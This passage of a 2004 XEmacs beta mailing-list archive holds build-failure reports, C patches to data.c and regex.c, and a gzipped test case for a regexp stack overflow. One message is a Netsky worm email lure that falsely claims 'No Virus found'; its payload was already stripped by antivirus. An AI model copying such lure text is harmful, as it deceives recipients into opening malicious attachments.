plausible, but I don't know how > to do it. Neither do I, sorry. I was just guessing from some source code that handled hash tables I saw years ago. Again, sorry for not offering anything more than guesswork. From xemacs-beta-admin@xemacs.org Tue Apr 6 19:44:24 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i36Nh2s13344; Tue, 6 Apr 2004 19:43:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36NgT913253 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 19:42:29 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36NgSm13239 for turnbull@tux.org; Tue, 6 Apr 2004 19:42:28 -0400 Received: from xemacs.org (eatkyo261054.adsl.ppp.infoweb.ne.jp [218.229.180.54]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i36NgRs13234 for ; Tue, 6 Apr 2004 19:42:27 -0400 Message-Id: <200404062342.i36NgRs13234@gwyn.tux.org> From: 4ebdc6d2@dion.ne.jp To: xemacs-beta@xemacs.org Subject: Re: Extended Mail Date: Wed, 7 Apr 2004 08:42:25 +0900 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=2.8 required=5.0 tests=FROM_HAS_MIXED_NUMS, MIME_BOUND_NEXTPART,MIME_SUSPECT_NAME,MISSING_MIMEOLE,NO_REAL_NAME, PRIORITY_NO_NAME autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit You got a new message. ++++ Attachment: No Virus found ++++ F-Secure AntiVirus - www.f-secure.com ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: plain/text; name="Norton AntiVirus Deleted1.txt" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Norton AntiVirus Deleted1.txt" Tm9ydG9uIEFudGlWaXJ1cyCCqpNZlXSDdINAg0ODi4F1bWVzc2FnZS56aXCBdoLwje2PnIK1 gtyCtYK9gUINDQqTWZV0g3SDQINDg4uCxSBXMzIuTmV0c2t5LlBAbW0ggsyLuojQgqqMn49v grOC6oLcgrWCvYFC ------=_NextPart_000_0016----=_NextPart_000_0016-- From xemacs-beta-admin@xemacs.org Tue Apr 6 22:02:36 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37213s13453; Tue, 6 Apr 2004 22:01:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3720cc13148 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 22:00:38 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3720ad13124 for turnbull@tux.org; Tue, 6 Apr 2004 22:00:36 -0400 Received: from grendal.frinabulax.org (68-69-36-139.mgtnwv.adelphia.net [68.69.36.139]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3720as13108 for ; Tue, 6 Apr 2004 22:00:36 -0400 Received: from localhost (localhost [127.0.0.1]) by grendal.frinabulax.org (8.12.11/8.12.11) with ESMTP id i3720Zjg013394 for ; Tue, 6 Apr 2004 22:00:35 -0400 (EDT) Date: Tue, 6 Apr 2004 22:00:35 -0400 (EDT) From: robert delius royar Reply-To: robert delius royar To: XEmacs Beta List Subject: New BIGNUM and union datatype Message-ID: Organization: An Apple OS X XEmacs missionary Priority: NEW Precedence: first-class MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Given this declaration in src/data.c Lisp_Object result, other; then on line 2001 result &= other; and the following switches to configure --use-union-type and --use-number-lib=gmp cause the error gcc -c -no-cpp-precomp -Os -Demacs -I. -DHAVE_CONFIG_H -I/usr/local/include -I/usr/X11R6/include data.c data.c: In function `Flogand': data.c:2001: error: invalid operands to binary & data.c: In function `Flogior': data.c:2054: error: invalid operands to binary | make[1]: *** [data.o] Error 1 make: *** [src] Error 2 Yes, union-type has been reported to be dangerous. I cannot use it on my i586, but on my PPC XEmacs seems to work better with it defined than not--fewer crashes. Perhaps there is some way to wrap the LispObject definition so that gcc3.3 doesn't complain about bit anding or oring a potential structure. -- Dr. Robert Delius Royar Associate Professor of English Morehead State University Morehead, Kentucky BTW IMHO DPS--ROFL, NOT. FWIW GIGO! IAC WYSIWYG. -SYSOP From xemacs-beta-admin@xemacs.org Tue Apr 6 22:21:31 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i372K9s17365; Tue, 6 Apr 2004 22:20:09 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i372Jse17283 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 22:19:54 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i372Jrw17259 for turnbull@tux.org; Tue, 6 Apr 2004 22:19:53 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i372Jrs17255; Tue, 6 Apr 2004 22:19:53 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i372JCDu014685; Tue, 6 Apr 2004 21:19:12 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i372JCHS006257; Tue, 6 Apr 2004 21:19:12 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i372J8Og006254; Tue, 6 Apr 2004 21:19:08 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: robert delius royar Cc: XEmacs Beta List , XEmacs Patches Subject: [AC21.5] New BIGNUM and union datatype References: From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI X-Generated-By: Patcher version 3.5.2 Date: Tue, 06 Apr 2004 21:19:08 -0500 In-Reply-To: (robert delius royar's message of "Tue, 6 Apr 2004 22:00:35 -0400 (EDT)") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , APPROVE COMMIT 21.5 Hi Robert, Thanks for the report. I did warn everybody that bignums would introduce some instability, right? :-) robert delius royar , on Tue, 6 Apr 2004 at 22:00:35 -0400 (EDT) you wrote: > Given this declaration in src/data.c > Lisp_Object result, other; > then on line 2001 > result &= other; > and the following switches to configure > --use-union-type and --use-number-lib=gmp > cause the error > gcc -c -no-cpp-precomp -Os -Demacs -I. -DHAVE_CONFIG_H -I/usr/local/include -I/usr/X11R6/include data.c > data.c: In function `Flogand': > data.c:2001: error: invalid operands to binary & > data.c: In function `Flogior': > data.c:2054: error: invalid operands to binary | > make[1]: *** [data.o] Error 1 > make: *** [src] Error 2 I tried to optimize on behalf of the compiler and broke the --use-union-type build as a result. This should fix it. src/ChangeLog addition: 2004-04-06 Jerry James * data.c (Flogand): Fix for --use-union-type. * data.c (Flogior): Ditto. xemacs-21.5 source patch: Diff command: cvs -q diff -uN Files affected: src/data.c Index: src/data.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/data.c,v retrieving revision 1.50 diff -d -u -u -r1.50 data.c --- src/data.c 2004/04/05 22:49:51 1.50 +++ src/data.c 2004/04/07 02:12:33 @@ -1995,10 +1995,7 @@ switch (promote_args (&result, &other)) { case FIXNUM_T: - /* This looks evil, but it isn't. The bits identifying the objects - as fixnums will be present in both, so & will preserve them. - The only bits possibly turned off are the actual data bits. */ - result &= other; + result = make_int (XREALINT (result) & XREALINT (other)); break; case BIGNUM_T: bignum_and (scratch_bignum, XBIGNUM_DATA (result), @@ -2048,10 +2045,7 @@ switch (promote_args (&result, &other)) { case FIXNUM_T: - /* This looks evil, but it isn't. The bits identifying the objects - as fixnums are the same in both, so | will preserve them. The - only bits possibly turned on are the actual data bits. */ - result |= other; + result = make_int (XREALINT (result) | XREALINT (other)); break; case BIGNUM_T: bignum_ior (scratch_bignum, XBIGNUM_DATA (result), -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Tue Apr 6 22:49:32 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i372m1s24252; Tue, 6 Apr 2004 22:48:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i372lZt24168 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 22:47:35 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i372lYb24158 for turnbull@tux.org; Tue, 6 Apr 2004 22:47:34 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i372lWs24138 for ; Tue, 6 Apr 2004 22:47:32 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BB363-00040M-00; Wed, 07 Apr 2004 11:47:23 +0900 To: "Florian Reichert" Cc: "XEmacs Beta" Subject: Re: [Bug: 21.4.14] xsl-mode error "Stack overflow in regexp matcher" References: <85fzbhb0xh.fsf@gmx.net> <87vfkdnj2m.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 07 Apr 2004 11:47:23 +0900 In-Reply-To: (Florian Reichert's message of "Tue, 06 Apr 2004 18:54:01 +0200") Message-ID: <87ptakmrlw.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Florian" == Florian Reichert writes: Florian> Ok! Here is the requested back trace.... OK, save the attached file and gunzip it. In an Emacs session that you can afford to lose (you haven't actually crashed yet, but if you're alloca-ing, you could), find it in a buffer, go to the end, and use C-x C-e to execute it. That should cause the stack overflow. I think I know what's happening, though. I got the time sequence wrong; this patch (attached below) didn't get in until 21.4.15. So although regex was using malloc (which is safe for very large regexps) and not alloca, the overflow was being reported at a rather small level. Upgrading to 21.4.15 should fix your problem (and you should report that to Mandrake). Mandrake may want to wait for 21.4.16, there is a potentially important fix in the lstream code used for all I/O and for internal conversions, as well. 2003-09-13 Stephen J. Turnbull * regex.c (re_max_failures): Bump to 20000 for REGEX_MALLOC, too. Here's the patch, if you want to build your own from Mandrake src-rpm. Index: src/regex.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/regex.c,v retrieving revision 1.25.2.4 diff -u -r1.25.2.4 regex.c --- src/regex.c 19 Jun 2003 03:34:42 -0000 1.25.2.4 +++ src/regex.c 13 Sep 2003 07:16:15 -0000 @@ -1135,7 +1135,7 @@ exactly that if always used MAX_FAILURE_SPACE each time we failed. This is a variable only so users of regex can assign to it; we never change it ourselves. */ -#if defined (MATCH_MAY_ALLOCATE) +#if defined (MATCH_MAY_ALLOCATE) || defined (REGEX_MALLOC) /* 4400 was enough to cause a crash on Alpha OSF/1, whose default stack limit is 2mb. */ int re_max_failures = 20000; -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 6 22:51:23 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i372o1s24604; Tue, 6 Apr 2004 22:50:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i372ngV24515 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 22:49:42 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i372nfQ24506 for turnbull@tux.org; Tue, 6 Apr 2004 22:49:41 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i372nes24501 for ; Tue, 6 Apr 2004 22:49:41 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BB38A-00040r-00; Wed, 07 Apr 2004 11:49:34 +0900 To: "Florian Reichert" Cc: "XEmacs Beta" Subject: Re: [Bug: 21.4.14] xsl-mode error "Stack overflow in regexp matcher" References: <85fzbhb0xh.fsf@gmx.net> <87vfkdnj2m.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" In-Reply-To: (Florian Reichert's message of "Tue, 06 Apr 2004 18:54:01 +0200") User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) Date: Wed, 07 Apr 2004 11:49:34 +0900 Message-ID: <87oeq4mri9.fsf@tleepslib.sk.tsukuba.ac.jp> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= Oops! Here's the file, when I realized in the middle what was probably the problem, I forgot to attach the test case! >>>>> "Florian" == Florian Reichert writes: Florian> Ok! Here is the requested back trace.... OK, save the attached file and gunzip it. In an Emacs session that you can afford to lose (you haven't actually crashed yet, but if you're alloca-ing, you could), find it in a buffer, go to the end, and use C-x C-e to execute it. That should cause the stack overflow. --=-=-= Content-Type: application/octet-stream Content-Disposition: attachment; filename=tmp.gz Content-Transfer-Encoding: base64 Content-Description: test case for overflowing regexp matcher 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 --=-=-= -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. --=-=-=-- From xemacs-beta-admin@xemacs.org Tue Apr 6 22:53:23 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i372q1s25000; Tue, 6 Apr 2004 22:52:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i372pi924915 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 22:51:44 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i372ph124904 for turnbull@tux.org; Tue, 6 Apr 2004 22:51:43 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i372pfs24899; Tue, 6 Apr 2004 22:51:41 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BB3AC-00041g-00; Wed, 07 Apr 2004 11:51:40 +0900 To: Jerry James Cc: XEmacs Beta List Subject: Re: [AC21.5] New BIGNUM and union datatype References: Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 07 Apr 2004 11:51:40 +0900 In-Reply-To: (Jerry James's message of "Tue, 06 Apr 2004 21:19:08 -0500") Message-ID: <87k70smrer.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jerry" == Jerry James writes: Jerry> - /* This looks evil, but it isn't. Your instincts are good, you should listen to them more! :-) -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 6 23:29:33 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i373SAs32626; Tue, 6 Apr 2004 23:28:10 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i373Rab32536 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 23:27:36 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i373RYl32516 for turnbull@tux.org; Tue, 6 Apr 2004 23:27:34 -0400 Received: from kcte.net (kcte.net [199.239.248.2]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i373RYs32507; Tue, 6 Apr 2004 23:27:34 -0400 Received: from grendal (68-69-36-139.mgtnwv.adelphia.net [68.69.36.139]) (authenticated bits=0) by kcte.net (8.12.11/8.12.11) with ESMTP id i373RTho040336 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 6 Apr 2004 23:27:30 -0400 (EDT) Date: Tue, 6 Apr 2004 23:27:24 -0400 (EDT) From: robert delius royar Reply-To: robert delius royar To: Jerry James cc: robert delius royar , XEmacs Beta List , XEmacs Patches Subject: Re: [AC21.5] New BIGNUM and union datatype In-Reply-To: Message-ID: References: Organization: An Apple OS X XEmacs missionary Priority: NEW Precedence: first-class MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: clamd / ClamAV version 0.67-1, clamav-milter version 0.67a X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Tue, 6 Apr 2004 about 21:19 -0500 UTC Jerry James wrote: > APPROVE COMMIT 21.5 > > Hi Robert, > > Thanks for the report. I did warn everybody that bignums would > introduce some instability, right? :-) > > robert delius royar , on Tue, 6 Apr 2004 at > 22:00:35 -0400 (EDT) you wrote: > > Given this declaration in src/data.c > > Lisp_Object result, other; > > then on line 2001 > > result &= other; > > and the following switches to configure > > --use-union-type and --use-number-lib=gmp > > cause the error > > gcc -c -no-cpp-precomp -Os -Demacs -I. -DHAVE_CONFIG_H -I/usr/local/include -I/usr/X11R6/include data.c > > data.c: In function `Flogand': > > data.c:2001: error: invalid operands to binary & > > data.c: In function `Flogior': > > data.c:2054: error: invalid operands to binary | > > make[1]: *** [data.o] Error 1 > > make: *** [src] Error 2 > > I tried to optimize on behalf of the compiler and broke the > --use-union-type build as a result. This should fix it. With the patch I get through data.c and all the way to Fevenp and Foddp in number,c before failing wiyh this set of errors: number.c: In function `Fevenp': number.c:129: error: incompatible types in return number.c: In function `Foddp': number.c:140: error: incompatible types in return number.c: In function `internal_coerce_number': number.c:516: error: incompatible types in return make[1]: *** [number.o] Error 1 make: *** [src] Error 2 This is with --use-union-type and --use-number-lib=gmp If I do not --use-number-lib, I get different errors on different runs (after make clean), depending on whether --dynamic=yes is defined. When it is not included at all I get bytecode.c: In function `bytecode_negate': bytecode.c:249: error: incompatible types in return bytecode.c:251: error: incompatible types in return bytecode.c:252: error: incompatible types in return make[1]: *** [bytecode.o] Error 1 make: *** [src] Error 2 When it is not referenced and --use-number-lib is not included in the configure command, and neither is --use-union-type, I get: ld: warning multiple definitions of symbol _alarm signal.o definition of _alarm in section (__TEXT,__text) /usr/lib/libm.dylib(alarm.So) definition of _alarm ld: Undefined symbols: _make_integer make[1]: *** [xemacs] Error 1 make: *** [src] Error 2 I also saw this one (alarm.so problem) a while back, maybe December or November after a big change in the code. I will try some more option changes over the next few days to see if I can narrow this down on the PPC. robert From xemacs-beta-admin@xemacs.org Wed Apr 7 00:02:25 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37412s08479; Wed, 7 Apr 2004 00:01:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37410i08458 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 00:01:00 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3740xg08449 for turnbull@tux.org; Wed, 7 Apr 2004 00:00:59 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3740us08442; Wed, 7 Apr 2004 00:00:56 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BB4FC-0004Mo-00; Wed, 07 Apr 2004 13:00:54 +0900 To: Jerry James Cc: XEmacs Beta Subject: Re: [S21.5] Add bignums to FAQ References: <87zn9pppq5.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 07 Apr 2004 13:00:54 +0900 In-Reply-To: (Jerry James's message of "Tue, 06 Apr 2004 11:54:57 -0500") Message-ID: <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by gwyn.tux.org id i3740us08442 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jerry" == Jerry James writes: Jerry> Hrvoje Niksic wrote: >> Jerry James writes: >>> Major 